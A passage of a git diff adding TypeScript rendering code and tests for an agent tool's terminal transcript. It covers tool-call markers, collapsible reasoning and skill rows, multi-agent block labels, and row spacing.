const merged = mergeToolRows( + toolCallRow({ name: "grep", arguments: '{"pattern":"legacy"}' }), + toolResultRow({ name: "grep", content: "42 matches" }), + ) + const painted = lines(merged) + expect(painted.length).toBe(1) + expect(painted[0]).not.toContain("└") + expect(painted[0]).toContain("✓") + }) + + test("a call in flight is marked as undecided, not as a success", () => { + const call = lines(toolCallRow({ name: "grep", arguments: '{"pattern":"x"}' }))[0] as string + expect(call).toContain("·") + expect(call).not.toContain("✓") + }) + + test("a failed tool call is marked and steps out of the live tool voice", () => { + const ok = paintStreamRow({ role: "tool", text: "ok", meta: "bash" }, SOLO) + const bad = paintStreamRow( + { role: "tool", text: "boom", meta: "bash", failed: true }, + SOLO, + ) + expect(bad.content).toContain("×") + expect(ok.content).not.toContain("×") + expect(bad.fg).not.toBe(ok.fg) + // Orange stays reserved for the thing awaiting a decision. + expect(bad.fg).not.toBe(UI.action) + }) + + test("reasoning is a faint, inset block with no marker of its own", () => { + const painted = paintStreamRow( + { + role: "system", + text: "scanning the repo\nthen the call sites", + meta: "thinking", + }, + SOLO, + ) + expect(painted.fg).toBe(UI.textFaint) + const rows = painted.content.split("\n") + expect(rows.length).toBe(2) + for (const row of rows) { + expect(row.startsWith(" ")).toBe(true) + expect(row).not.toContain("┆") + } + expect(paintStreamRow({ role: "assistant", text: "done" }, SOLO).fg).toBe(UI.text) + }) + + test("a long reasoning body wraps inside its own block", () => { + const rows = lines({ + role: "system", + meta: "thinking", + text: "the token helper is referenced from four packages and two of them are vendored", + }) + expect(rows.length).toBeGreaterThan(1) + for (const row of rows) { + expect(row.startsWith(" ")).toBe(true) + expect(row).not.toContain("┆") + expect(stringWidth(row)).toBeLessThanOrEqual(SOLO.width) + } + }) + + test("a second agent's row paints no icon or name inline", () => { + // Writer identity is a block-level header (see `blockLabel`), not baked + // into the row body, so a lone row never carries "●" itself. + const solo = lines({ role: "assistant", text: "on it" })[0] as string + const crew = lines({ role: "assistant", text: "on it", agent: "critic" }, CREW)[0] as string + expect(solo).not.toContain("●") + expect(crew).not.toContain("●") + expect(crew.startsWith("on it")).toBe(true) + // The operator stays a left-aligned bubble either way. + expect(lines({ role: "user", text: "go" }, CREW)[0]).toBe( + lines({ role: "user", text: "go" })[0], + ) + }) + + test("reasoning keeps one body column across its lines", () => { + const rows = lines( + { role: "system", meta: "thinking", text: "checking\nthen deciding", agent: "critic" }, + CREW, + ) + const columns = new Set(rows.map((row) => row.length - row.trimStart().length)) + expect(columns).toEqual(new Set([2])) + }) + + test("a loaded skill collapses to a summary until it is expanded", () => { + const row: StreamRow = { + role: "tool", + text: 'Skill "style" — follow these instructions\n\nline\nline', + meta: "use_skill", + skill: "style", + } + const WIDE: RowLayout = { width: 96, multiAgent: false } + const collapsed = lines(row, WIDE) + expect(collapsed.length).toBe(1) + expect(collapsed[0]).toContain('skill "style" loaded') + expect(collapsed[0]).toContain("4 lines") + expect(collapsed[0]).toContain("Alt+E expand") + + // Summary, the four revealed lines railed beneath it, and the closing tick. + const expanded = lines({ ...row, expanded: true }, WIDE) + expect(expanded.length).toBe(6) + expect(expanded[0]).toContain("Alt+E collapse") + expect(expanded.join("\n")).toContain("line") + for (const line of expanded.slice(1, -1)) expect(line).toContain("┆") + expect(expanded[expanded.length - 1]?.trim()).toBe("╵") + }) +}) + +describe("tool row sentence treatment", () => { + const flatten = (row: StreamRow): string => + toolSentenceLines(row) + .flat() + .map((seg) => seg.text) + .join("") + + test("reads as verb + coloured subject, not tool name + raw args", () => { + const row: StreamRow = { role: "tool", text: "{}", verb: "Read", summary: "package.json" } + const line = toolSentenceLines(row)[0]! + expect(flatten(row)).toContain("Read") + expect(flatten(row)).toContain("package.json") + const subjectSeg = line.find((seg) => seg.text.includes("package.json")) + expect(subjectSeg?.fg).toBe(UI.inFlightBright) + expect(subjectSeg?.fg).not.toBe(UI.text) + }) + + test("the arrow only appears on a row with expandable content", () => { + const plain: StreamRow = { role: "tool", text: "ok", verb: "Shell", summary: "pwd" } + const withDetail: StreamRow = { + role: "tool", + text: "{}", + verb: "Read", + summary: "a.ts", + detail: [[{ text: "line", fg: UI.text }]], + } + expect(isCollapsibleRow(plain)).toBe(false) + expect(flatten(plain)).not.toMatch(/[▸▾]/) + expect(isCollapsibleRow(withDetail)).toBe(true) + expect(flatten(withDetail)).toContain("▸") + expect(flatten({ ...withDetail, expanded: true })).toContain("▾") + }) + + test("a chained shell command keeps its && structure across lines", () => { + const row: StreamRow = { + role: "tool", + text: "{}", + verb: "Shell", + summary: "git status && git log --oneline -5 && pwd && date", + } + const rendered = toolSentenceLines(row).map((line) => + line.map((seg) => seg.text).join(""), + ) + expect(rendered.length).toBe(4) + expect(rendered[0]).toContain("git status") + expect(rendered[0]).toContain("&& \\") + expect(rendered[1]?.startsWith(" ")).toBe(true) + expect(rendered[3]).not.toContain("&&") + }) + + test("an expanded diff row shows +/- lines indented beneath the head", () => { + const row: StreamRow = { + role: "tool", + text: "{}", + verb: "Write", + summary: "notes.txt", + stat: "+1/-0", + diff: { + lines: [[{ text: "+ hello", fg: UI.done }]], + added: 1, + removed: 0, + }, + expanded: true, + } + const collapsedLines = toolRowLines({ ...row, expanded: false }) + expect(collapsedLines.length).toBe(1) + const expandedLines = toolRowLines(row) + expect(expandedLines.length).toBe(2) + const tail = expandedLines[1]! + expect(tail[0]?.text).toBe(" ") + expect(tail.map((s) => s.text).join("")).toContain("+ hello") + }) +}) + +describe("writer identity", () => { + test("distinct writers are counted from the transcript, not configured", () => { + const solo: readonly StreamRow[] = [ + { role: "user", text: "go" }, + { role: "assistant", text: "ok" }, + { role: "tool", text: "ls", meta: "bash" }, + ] + expect(isMultiAgent(solo)).toBe(false) + expect(agentVoicesIn(solo).size).toBe(1) + expect(isMultiAgent([...solo, { role: "assistant", text: "hi", agent: "critic" }])).toBe( + true, + ) + }) +}) + +describe("vertical rhythm", () => { + const you = { role: "user", text: "go" } as const + const agent = { role: "assistant", text: "ok" } as const + const grep = { role: "tool", text: "x", meta: "grep" } as const + const grepResult = { role: "tool", text: "42 matches", meta: "grep" } as const + const bash = { role: "tool", text: "ls", meta: "bash" } as const + const thinking = { + role: "system", + text: "hmm", + meta: "thinking", + } as const + + test("the first row opens no gap", () => { + expect(rowGroupGap(undefined, you)).toBe(0) + }) + + test("a turn boundary opens a gap", () => { + expect(rowGroupGap(you, agent)).toBe(1) + expect(rowGroupGap(agent, grep)).toBe(1) + }) + + test("a result stays glued to its call, the next call does not", () => { + expect(rowGroupGap(grep, grepResult)).toBe(0) + expect(rowGroupGap(grepResult, bash)).toBe(1) + }) + + test("thinking takes the turn's gap instead of opening one of its own", () => { + // Same rows either way, so the coalesced line cannot shift the answer. + expect(rowGroupGap(you, thinking) + rowGroupGap(thinking, agent)).toBe( + rowGroupGap(you, agent), + ) + expect(rowGroupGap(agent, thinking)).toBe(0) + }) +}) + +describe("row gutter", () => { + test("a lone agent's markdown body starts on the first column", () => { + expect(streamRowGutter({ role: "assistant", text: "hi" }, SOLO).content).toBe("") + }) + + test("writer identity never lands in the per-row gutter, multi-agent or not", () => { + expect(streamRowGutter({ role: "assistant", text: "hi", agent: "critic" }, CREW).content) + .toBe("") + }) +}) + +describe("block labels", () => { + const you = { role: "user", text: "go" } as const + const corbits = { role: "assistant", text: "on it" } as const + const critic = { role: "assistant", text: "reviewing", agent: "critic" } as const + + test("single-agent transcripts never label a row", () => { + expect(blockLabel(undefined, corbits, SOLO)).toBeNull() + expect(blockLabel(you, corbits, SOLO)).toBeNull() + }) + + test("the operator's own turn is never labelled", () => { + expect(blockLabel(corbits, you, CREW)).toBeNull() + }) + + test("a block's first row is labelled with its writer", () => { + expect(blockLabel(undefined, corbits, CREW)).toBe("● agent") + expect(blockLabel(you, critic, CREW)).toBe("● critic") + }) + + test("a run from the same writer labels only its first row", () => { + const secondFromCorbits = { role: "assistant", text: "still going" } as const + expect(blockLabel(corbits, secondFromCorbits, CREW)).toBeNull() + }) + + test("a change of writer relabels even without a role change", () => { + expect(blockLabel(corbits, critic, CREW)).toBe("● critic") + }) +}) diff --git a/src/tui-opentui/stream.ts b/src/tui-opentui/stream.ts new file mode 100644 index 000000000..f42873a2c --- /dev/null +++ b/src/tui-opentui/stream.ts @@ -0,0 +1,792 @@ +/** + * Transcript stream row model — product skin styling for fake / real streams. + * Plain rows paint via TextRenderable; markdown-bearing rows via MarkdownRenderable. + */ + +import { SyntaxStyle } from "@opentui/core" + +import { stringWidth, wrapLines } from "../tui/view/height.js" +import type { DiffView } from "./diff.js" +import type { McpStructuredView } from "./mcp-view.js" +import { + thinkingScrollLine, + thinkingSettledLine, + type Thought, +} from "./thinking.js" +import { UI } from "./theme.js" + +/** + * One line of a pre-coloured body (an expanded tool call's structured + * arguments). Styled runs are painted as authored rather than re-parsed, so a + * body that already knows its own colours keeps them. + */ +export type StyledBodyLine = readonly { + readonly text: string + readonly fg: string + readonly bold?: boolean +}[] + +export type StreamRole = "user" | "assistant" | "tool" | "system" + +export type StreamRow = { + readonly role: StreamRole + readonly text: string + /** Optional secondary label (tool name, timestamp, etc.). */ + readonly meta?: string + /** + * Force markdown on/off for this row. Defaults by role: only assistant + * text is authored as markdown — tool output, user echo and system chrome + * are literal and must not be reflowed or have markers concealed. + */ + readonly markdown?: boolean + /** + * Row body is still being appended to. Markdown rows keep their trailing + * block unstable so a half-received fence/table is not finalized early. + */ + readonly streaming?: boolean + /** + * Structured cell grid (MCP record list / record detail). Painted as a table + * instead of the row body, which would otherwise be a raw JSON dump. + */ + readonly structured?: McpStructuredView + /** + * Rendered file-edit diff. Painted instead of the row body, which would + * otherwise be the edit tool's raw JSON arguments. + */ + readonly diff?: DiffView + /** + * Tool call that came back an error. Carried as a flag rather than baked + * into `meta` so the paint layer can mark the row without parsing a label. + */ + readonly failed?: boolean + /** + * Tool call whose result has not landed yet. The row is the call itself + * until then; the result resolves the marker and rewrites the subject in + * place rather than opening a row of its own. + */ + readonly pending?: boolean + /** + * Identity of the call a tool row opened — tool name plus the sentence it + * paints. A run of consecutive calls sharing one is a repeat, and collapses + * onto a single row. + */ + readonly callKey?: string + /** + * Row standing for a run of repeated calls. Its subject stays the call the + * run repeats (never a total across them, which would be a claim the + * payloads do not support); each answer lands in the expanded body. + */ + readonly coalesced?: boolean + /** + * Calls a coalesced row still awaits. A batch dispatches every call before + * any answer lands, so the run row cannot settle on its first result — it + * stays pending until this reaches zero, or the answers still in flight + * would find no row to fold into. + */ + readonly outstanding?: number + /** + * Writer of a non-user row. Absent means the session's own agent; the paint + * layer names writers only once a transcript carries more than one. + */ + readonly agent?: string + /** + * Name of the skill a `use_skill` result loaded. Present only on rows whose + * body is skill instructions, which collapse to a summary until expanded. + */ + readonly skill?: string + /** + * Human summary of a tool call's arguments. Present means the row paints the + * summary instead of `text`, which is the raw argument JSON. + */ + readonly summary?: string + /** Structured body a summarised call reveals when expanded. */ + readonly detail?: readonly StyledBodyLine[] + /** Settled reasoning: what the row collapses to once thinking is done. */ + readonly thought?: Thought + /** + * Bounded-rate reveal position for a still-streaming reasoning row — how far + * into `text` the scroll line is allowed to show. Absent means show it all + * (a settled row, a hydrated transcript, a fixture with no clock driving it). + */ + readonly revealChars?: number + /** Whether a collapsible body is currently showing in full. */ + readonly expanded?: boolean + /** + * Leading verb of a tool row read as a sentence ("Read", "Created", "$" for + * a shell command). Present means the row paints verb + coloured subject + * (`summary`) instead of the legacy meta-column layout. + */ + readonly verb?: string + /** Diff stat or line range painted dim after the subject, e.g. "+1/-0". */ + readonly stat?: string +} + +/** + * What a row needs to know about the surface it paints onto: the transcript's + * column budget (right-aligned bubbles and wrapped bodies are computed, not + * delegated to the renderer) and whether writers have to be named at all. + */ +export type RowLayout = { + readonly width: number + readonly multiAgent: boolean +} + +/** Writer of a row when none is named: the session's own agent. */ +export const MAIN_AGENT = "agent" + +/** + * Key name that expands a collapsed body — combined with Alt in the + * transcript so the prompt (which almost always holds focus) can never + * swallow it as a typed letter. The approval overlay's own collapsed + * payloads answer to the same key name but stay bare there: that overlay is + * modal and the prompt cannot have focus while it is open. + */ +export const EXPAND_KEY = "e" + +/** Display label for the transcript/overlay row expand affordance. */ +export const EXPAND_HINT_LABEL = "Alt+E" + +/** Distinct writers in a transcript. Role labels are worth their columns only above one. */ +export function agentVoicesIn(rows: readonly StreamRow[]): ReadonlySet { + const voices = new Set() + for (const row of rows) { + if (row.role === "user") continue + voices.add(row.agent ?? MAIN_AGENT) + } + return voices +} + +export function isMultiAgent(rows: readonly StreamRow[]): boolean { + return agentVoicesIn(rows).size > 1 +} + +export type PaintedStreamLine = { + readonly content: string + readonly fg: string +} + +/** + * Transcript rows are text, so they take the element cream. Only the tool role + * is tinted — it is machine output threaded through a human conversation, and + * the bronze separates it without adding a second voice. + */ +const ROLE_FG: Record = { + user: UI.text, + assistant: UI.text, + tool: UI.inFlight, + system: UI.textDim, +} + +/** + * Diff body palette. This is the one place orange is not the decision marker: + * a diff is content, and add/remove is the brand's own green/orange pair. + */ +export const DIFF_FG = { + add: UI.done, + del: UI.action, + context: UI.textDim, +} as const + +/** + * Meta column (tool name, `queue`, `error`). Fixed so a tool call's argument + * and a tool result's payload start on the same column and can be scanned as + * one list rather than a ragged log. + */ +const META_WIDTH = 12 + +/** + * The mark column carries what colour is not allowed to: cream is shared by the + * user and the agent (three-accent limit), so a failed tool call is found by + * its cross and the operator's own turn by its bubble bar. + */ +const MARK_OK = "✓" +const MARK_FAILED = "×" +/** A call still in flight has no verdict yet, and must not borrow one. */ +const MARK_PENDING = "·" + +/** + * Glyphs are single-cell so nothing after them can slip out of the meta column. + * Every one is verified against `stringWidth` by the row-shape tests. + */ +const BUBBLE_BAR = "▍" +const AGENT_ICON = "●" + +/** + * Blank columns where a per-tool-family glyph used to sit. A tool row leads + * with one success/failure marker now (not a glyph column keyed off tool + * type), but the width is kept so the meta column and the result connector + * beneath it still land on the same column. + */ +const TOOL_LEAD_GAP = " " + +/** Thinking is coalesced chain-of-thought, not an answer — it paints faintest. */ +export function isThinkingRow(row: StreamRow): boolean { + return row.role === "system" && row.meta === "thinking" +} + +function rowFg(row: StreamRow): string { + if (isThinkingRow(row)) return UI.textFaint + // A failed call steps out of the live tool voice; the cross carries the rest. + if (row.failed === true) return UI.textDim + return ROLE_FG[row.role] +} + +/** + * Pad-only: a meta longer than the column (an edit summary carries its path and + * line counts) pushes the body rather than being truncated. Losing the column + * on those rows costs less than losing the information. + */ +function fitMeta(meta: string): string { + return meta.length >= META_WIDTH ? `${meta} ` : meta.padEnd(META_WIDTH) +} + +/** + * Block label shown once above the first row of a run of consecutive rows + * from the same writer. `rowGroupGap` already treats a change of writer (or + * role) as a turn boundary, so a block is exactly a gap-free run and needs no + * separate bookkeeping: the label repeats only where the gap does. + */ +export function blockLabel( + previous: StreamRow | undefined, + row: StreamRow, + layout: RowLayout, +): string | null { + if (!layout.multiAgent || row.role === "user") return null + if (previous !== undefined && rowGroupGap(previous, row) === 0) return null + return `${AGENT_ICON} ${row.agent ?? MAIN_AGENT}` +} + +/** Where a tool row stands: in flight, answered, or answered badly. */ +function toolMark(row: StreamRow): string { + if (row.failed === true) return MARK_FAILED + return row.pending === true ? MARK_PENDING : MARK_OK +} + +/** + * Tool prefix: a single in-flight/success/failure mark, then either the + * sentence-row's bare lead (verb + coloured subject follow in the body) or the + * legacy meta column. A call and its answer share one row, so there is no + * continuation to mark. Writer identity is painted once per block (see + * `blockLabel`), not repeated on every row. + */ +function toolPrefix(row: StreamRow): string { + const mark = toolMark(row) + if (row.verb !== undefined) return `${mark} ` + const meta = row.meta && row.meta.length > 0 ? fitMeta(row.meta) : "" + return `${mark} ${TOOL_LEAD_GAP}${meta}` +} + +/** Columns the operator's bubble may claim before it wraps. */ +const BUBBLE_MAX_SHARE = 0.75 + +/** + * The operator's turn as a block hugging the left gutter, same as an answer, + * with the bar down its left edge. The bar (not alignment) is what makes a + * user turn findable now that both voices share cream and the left edge; the + * body sits two columns past it so the boundary reads even at a glance. + */ +function userBubbleLines(text: string, width: number): string[] { + const bar = `${BUBBLE_BAR} ` + const barWidth = stringWidth(bar) + const body = Math.max(1, Math.min(width - barWidth, Math.ceil(width * BUBBLE_MAX_SHARE))) + const lines = text.split("\n").flatMap((line) => wrapLines(line, body)) + return lines.map((line) => `${bar}${line}`) +} + +/** + * Columns a reasoning block is inset by. The inset plus the faintest text in + * the palette is the whole of reasoning's chrome — it carries no marker of its + * own, because a rail is a line of noise attached to the quietest thing on the + * screen and there is nothing above it for the rail to bind it to. + */ +const THINKING_INDENT = 2 + +/** Reasoning laid out as an indented block, for a row with no summary line. */ +function thinkingLines(text: string, layout: RowLayout): string[] { + const lead = " ".repeat(THINKING_INDENT) + const columns = Math.max(1, layout.width - THINKING_INDENT) + return text + .split("\n") + .flatMap((line) => wrapLines(line, columns)) + .map((line) => `${lead}${line}`) +} + +/** Trailer that tells a collapsed row it has more behind it, and how to get there. */ +function expandHint(expanded: boolean): string { + return ` · ${EXPAND_HINT_LABEL} ${expanded ? "collapse" : "expand"}` +} + +/** + * Arrow affordance of a sentence-style tool row. It is a hit target as well as + * a glyph — a click on it toggles that one row — so the paint layer needs to + * find it back in a finished line rather than re-deriving where it landed. + */ +export const ROW_ARROW = { collapsed: "▸", expanded: "▾" } as const + +/** Small arrow affordance for a sentence-style tool row: absent, ▸, or ▾. */ +function toolArrow(row: StreamRow): string { + if (!isCollapsibleRow(row)) return "" + return row.expanded === true ? ROW_ARROW.expanded : ROW_ARROW.collapsed +} + +/** + * A line's trailing arrow split off from the rest of it, or null when the line + * does not end in one. The arrow becomes its own renderable so the click that + * toggles a row lands on the glyph and nowhere else: rows are text people + * select and copy, and a whole-row hit target would toggle under every drag. + */ +export function splitTrailingArrow( + line: StyledBodyLine, +): { readonly body: StyledBodyLine; readonly arrow: StyledBodyLine[number] } | null { + const last = line[line.length - 1] + if (last === undefined) return null + const glyph = last.text.trim() + if (glyph !== ROW_ARROW.collapsed && glyph !== ROW_ARROW.expanded) return null + return { body: line.slice(0, -1), arrow: last } +} + +/** Elapsed reasoning time, compact enough to ride a panel's closing tick. */ +function elapsedLabel(ms: number): string { + const seconds = Math.max(0, Math.round(ms / 1000)) + if (seconds < 60) return `${seconds}s` + return `${Math.floor(seconds / 60)}m ${seconds % 60}s` +} + +/** + * Reasoning body. The same line serves the whole life of the row: while text + * arrives it is windowed onto the newest of it, and once the turn moves on it + * stops moving and keeps the opening of what it was thinking about. Nothing is + * substituted — the row goes quiet, and the rest is behind the expand key. + * + * A row with no settled thought (a hydrated transcript, a fixture) has no + * summary to collapse to and keeps the plain block. + */ +function reasoningLines(row: StreamRow, layout: RowLayout): string[] { + const lead = " ".repeat(THINKING_INDENT) + const columns = Math.max(1, layout.width - THINKING_INDENT) + if (row.streaming === true) { + return [`${lead}${thinkingScrollLine(row.text, columns, row.revealChars)}`] + } + if (row.thought === undefined) return thinkingLines(row.text, layout) + const expanded = row.expanded === true + const hint = expandHint(expanded) + const summary = thinkingSettledLine( + row.text, + Math.max(1, columns - stringWidth(hint)), + ) + const head = `${lead}${summary}${hint}` + if (!expanded) return [head] + // Elapsed time lives here rather than on the summary line: it is worth + // knowing after the fact, and never worth displacing the reasoning itself. + const panel = expansionTextPanel( + row.text, + expansionColumns(THINKING_INDENT, layout), + elapsedLabel(row.thought.ms), + ) + return [head, ...detailPlainLines(panel).map((line) => `${lead}${line}`)] +} + +/** + * Revealed bodies are inset past the summary that revealed them, railed down + * their left edge, and closed by a tick. The rail earns its columns here in a + * way it does not on an always-visible reasoning line: it binds content that + * only exists because of the row above it, and it gives the closing tick + * something to close. + */ +const EXPANSION_INDENT = 2 +const EXPANSION_RAIL = "┆" +const EXPANSION_END = "╵" + +const EXPANSION_LEAD = `${" ".repeat(EXPANSION_INDENT)}${EXPANSION_RAIL} ` + +/** Columns a revealed body has left once its row prefix and rail are paid for. */ +export function expansionColumns(gutterWidth: number, layout: RowLayout): number { + return Math.max(1, layout.width - gutterWidth - stringWidth(EXPANSION_LEAD)) +} + +/** + * Revealed content as a detail panel beneath its summary. Lines arrive already + * laid out and keep whatever colours they were authored with. `trailer` rides + * the closing tick, for the one fact worth knowing about a panel only after + * having read it. + */ +export function expansionPanel( + body: readonly StyledBodyLine[], + trailer?: string, +): StyledBodyLine[] { + const rail = { text: EXPANSION_LEAD, fg: UI.textFaint } + const end = `${" ".repeat(EXPANSION_INDENT)}${EXPANSION_END}` + const tail = trailer === undefined ? end : `${end} ${trailer}` + return [ + ...body.map((line): StyledBodyLine => [rail, ...line]), + [{ text: tail, fg: UI.textFaint }], + ] +} + +/** + * Plain revealed text as a panel: wrapped to the columns the panel actually + * owns, and painted quieter than the summary that revealed it. + */ +export function expansionTextPanel( + text: string, + columns: number, + trailer?: string, +): StyledBodyLine[] { + const wrapped = text.split("\n").flatMap((line) => wrapLines(line, columns)) + return expansionPanel( + wrapped.map((line) => [{ text: line, fg: UI.textDim }]), + trailer, + ) +} + +/** Summary a loaded skill collapses to: which skill, and how much it brought. */ +function skillSummary(row: StreamRow, skill: string): string { + const lines = row.text.split("\n").length + const summary = `skill "${skill}" loaded · ${lines} line${lines === 1 ? "" : "s"}` + return `${summary}${expandHint(row.expanded === true)}` +} + +/** Plain-text rendering of a styled body, for text frames and the clipboard. */ +function detailPlainLines(detail: readonly StyledBodyLine[]): string[] { + return detail.map((line) => line.map((segment) => segment.text).join("").trimEnd()) +} + +/** The head line of a summarised tool call: what it did, and the way in. */ +export function summaryHead(row: StreamRow, summary: string): string { + return `${summary}${row.detail === undefined ? "" : expandHint(row.expanded === true)}` +} + +/** + * Whether this row is a summary with its revealed body showing. Such rows + * paint as styled lines (the panel is quieter than its summary), which a + * single-colour text node cannot express. + */ +export function isExpansionRow(row: StreamRow): boolean { + if (row.expanded !== true) return false + return row.skill !== undefined || row.detail !== undefined +} + +/** + * Head plus revealed panel for an expanded summary row, or null when the row + * reveals nothing. One layout for both kinds of revealed body — a loaded + * skill's instructions and a tool call's structured arguments. + */ +export function expandedRowLines( + row: StreamRow, + layout: RowLayout, +): StyledBodyLine[] | null { + if (!isExpansionRow(row)) return null + const columns = expansionColumns( + stringWidth(streamRowGutter(row, layout).content), + layout, + ) + if (row.skill !== undefined) { + return [ + [{ text: skillSummary(row, row.skill), fg: UI.text }], + ...expansionTextPanel(row.text, columns), + ] + } + return [ + [{ text: summaryHead(row, row.summary ?? ""), fg: UI.text }], + ...expansionPanel(row.detail ?? []), + ] +} + +/** The text a row paints, after collapsing anything that hides behind a summary. */ +function rowBody(row: StreamRow, layout: RowLayout): string { + const expanded = expandedRowLines(row, layout) + if (expanded !== null) return detailPlainLines(expanded).join("\n") + if (row.skill !== undefined) return skillSummary(row, row.skill) + if (row.summary === undefined) return row.text + return summaryHead(row, row.summary) +} + +/** Columns a sentence-row's expanded detail/diff is inset by beneath the head. */ +const TOOL_DETAIL_INDENT = 2 + +/** Continuation line indent for a wrapped `&&`-chained shell command. */ +const CHAIN_INDENT = " " + +/** + * Cut a subject to the columns it may claim. A tool row is one line: a long + * URL or search query that wrapped would turn a scannable list into a wall, + * so the row loses the tail rather than the shape. + */ +function truncateLine(text: string, columns: number): string { + if (columns <= 0 || stringWidth(text) <= columns) return text + let out = "" + for (const char of text) { + if (stringWidth(out) + stringWidth(char) > columns - 1) break + out += char + } + return `${out}…` +} + +/** + * A shell command's `&&` chain, one segment per line with the connector + * trailing each line but the last — legible whether the row is collapsed or + * expanded, since the chain itself is never what the expand key hides. + */ +function shellChainSegments(command: string): readonly string[] { + return command.includes(" && ") ? command.split(" && ") : [command] +} + +/** + * The always-visible head of a sentence-style tool row: mark (painted by + * `toolPrefix`, not here) followed by verb + coloured subject, an optional + * dim stat, and the expand arrow on its last physical line. A shell command's + * `&&` chain spans several lines; every other tool call is one line. + */ +export function toolSentenceLines( + row: StreamRow, + columns?: number, +): StyledBodyLine[] { + const fg = rowFg(row) + const verb = row.verb ?? "" + const subject = row.summary ?? row.text + // A verb that already names the whole call ("Linear: list issues") has no + // subject to pair with, and a lone subject (a result sentence) has no verb. + const head = verb.length === 0 ? "" : subject.length === 0 ? verb : `${verb} ` + const stat = + row.stat !== undefined && row.stat.length > 0 ? ` ${row.stat}` : "" + const arrow = toolArrow(row) + // Columns, not code units: the arrow is itself an ambiguous-width glyph and + // this number is subtracted from the same budget `stringWidth(head)` is. + const arrowWidth = stringWidth(arrow) + const trailer = stringWidth(stat) + (arrowWidth > 0 ? arrowWidth + 1 : 0) + const segments = shellChainSegments( + columns === undefined || subject.includes(" && ") + ? subject + : truncateLine(subject, columns - stringWidth(head) - trailer), + ) + const lines: StyledBodyLine[] = segments.map((segment, i) => { + const lead: StyledBodyLine = + i === 0 ? [{ text: head, fg }] : [{ text: CHAIN_INDENT, fg }] + const isLast = i === segments.length - 1 + const body: StyledBodyLine = [{ text: segment, fg: UI.inFlightBright }] + const chain: StyledBodyLine = isLast ? [] : [{ text: " && \\", fg: UI.textDim }] + return [...lead, ...body, ...chain] + }) + const last = lines[lines.length - 1] ?? [] + const statSegment = stat.length > 0 ? [{ text: stat, fg: UI.textDim }] : [] + const arrowSegment = arrow.length > 0 ? [{ text: ` ${arrow}`, fg: UI.textDim }] : [] + lines[lines.length - 1] = [...last, ...statSegment, ...arrowSegment] + return lines +} + +/** A styled body line, indented by `columns` for a row's expanded detail. */ +function indentStyledLine(line: StyledBodyLine, columns: number): StyledBodyLine { + return [{ text: " ".repeat(columns), fg: UI.text }, ...line] +} + +/** + * Full painted body of a sentence-style tool row: the head, plus its diff or + * structured detail indented beneath once expanded. Collapsing hides only + * this tail — the head (and a shell chain's full structure) always shows. + */ +export function toolRowLines( + row: StreamRow, + columns?: number, +): StyledBodyLine[] { + const head = toolSentenceLines(row, columns) + if (row.expanded !== true) return head + const tail = + row.diff !== undefined + ? row.diff.lines + : row.detail !== undefined + ? row.detail + : [] + return [...head, ...tail.map((line) => indentStyledLine(line, TOOL_DETAIL_INDENT))] +} + +/** + * Format a stream row for the transcript. Content may span several lines: the + * operator's bubble and a reasoning block are laid out here rather than left to + * the renderer, which cannot right-align or inset a wrapped body. + */ +export function paintStreamRow( + row: StreamRow, + layout: RowLayout, +): PaintedStreamLine { + const fg = rowFg(row) + if (row.role === "user") { + return { content: userBubbleLines(row.text, layout.width).join("\n"), fg } + } + if (isThinkingRow(row)) { + return { + content: reasoningLines(row, layout).join("\n"), + fg, + } + } + const gutter = streamRowGutter(row, layout).content + return { content: `${gutter}${indentBody(rowBody(row, layout), gutter, layout)}`, fg } +} + +/** + * A body laid out under its own column: wrapped to the columns left beside the + * prefix and indented onto them. Left to the renderer, a long line (raw tool + * arguments, a wide result) wraps to column 0 — outside the shell's gutter and + * outside the meta column — which breaks the one alignment the transcript has. + */ +function indentBody(text: string, gutter: string, layout: RowLayout): string { + const lead = stringWidth(gutter) + const columns = Math.max(1, layout.width - lead) + const lines = text.split("\n").flatMap((line) => wrapLines(line, columns)) + return lines.join(`\n${" ".repeat(lead)}`) +} + +/** Blank rows painted above a row that opens a new group. */ +export const ROW_GROUP_GAP = 1 + +/** Writer of a row for gap/grouping purposes; the operator has no writer. */ +function gapWriter(row: StreamRow): string | null { + return row.role === "user" ? null : row.agent ?? MAIN_AGENT +} + +/** + * Vertical rhythm between transcript rows. A turn boundary (a different voice, + * a different writer, or a different tool call) earns a blank row so the eye + * can find it; a thinking row never does, so the coalesced line appearing or + * disappearing above an answer cannot shift what is already on screen. + */ +export function rowGroupGap( + previous: StreamRow | undefined, + row: StreamRow, +): number { + if (previous === undefined) return 0 + // Thinking leads the answer it belongs to, so the turn's single gap is spent + // below the reasoning line rather than above it: the settled phrase stays + // glued to the turn that produced it and the answer gets its breathing room, + // and the pair still costs exactly one gap either way. + if (isThinkingRow(row)) return 0 + if (isThinkingRow(previous)) return ROW_GROUP_GAP + if (previous.role !== row.role) return ROW_GROUP_GAP + // A block is a contiguous run from one writer; a change of writer is a + // fresh block even when the role stays the same (one agent's tool call + // followed by another agent's, say). + if (gapWriter(previous) !== gapWriter(row)) return ROW_GROUP_GAP + // Same voice, different call: a result stays glued to the call it answers, + // but the next call starts its own block. + if (row.role === "tool" && (previous.meta ?? "") !== (row.meta ?? "")) { + return ROW_GROUP_GAP + } + return 0 +} + +/** Whether this row's body should render as markdown rather than literal text. */ +export function isMarkdownRow(row: StreamRow): boolean { + if (row.structured !== undefined || row.diff !== undefined) return false + if (isDetailRow(row)) return false + // The operator's turn is a laid-out bubble, which a markdown body would + // re-wrap and left-align out of the right gutter. + if (row.role === "user") return false + return row.markdown ?? row.role === "assistant" +} + +/** Whether this row paints a structured table body instead of its text. */ +export function isStructuredRow(row: StreamRow): boolean { + return row.structured !== undefined +} + +/** + * Whether this row reads as a sentence — verb plus coloured subject, with an + * arrow when there is something behind it. Calls earn it from their verb; a + * result with no call to fold into earns it from the sentence its payload was + * summarised into. + */ +export function isSentenceRow(row: StreamRow): boolean { + if (row.role !== "tool") return false + return row.verb !== undefined || row.summary !== undefined +} + +/** Whether this row paints a diff body instead of its text. */ +export function isDiffRow(row: StreamRow): boolean { + return row.diff !== undefined +} + +/** Whether this row paints a styled structured body (an opened tool call). */ +export function isDetailRow(row: StreamRow): boolean { + return row.detail !== undefined && row.expanded === true +} + +/** + * Whether the expand key has anything to do on this row. One idiom across the + * product: a loaded skill, a summarised tool call and settled reasoning all + * answer to the same key and say so on their collapsed line. + */ +export function isCollapsibleRow(row: StreamRow): boolean { + if (row.skill !== undefined) return true + if (row.summary !== undefined && row.detail !== undefined) return true + if (row.summary !== undefined && row.structured !== undefined) return true + if (row.diff !== undefined) return true + return isThinkingRow(row) && row.thought !== undefined && row.streaming !== true +} + +/** + * Prefix painted beside a body the 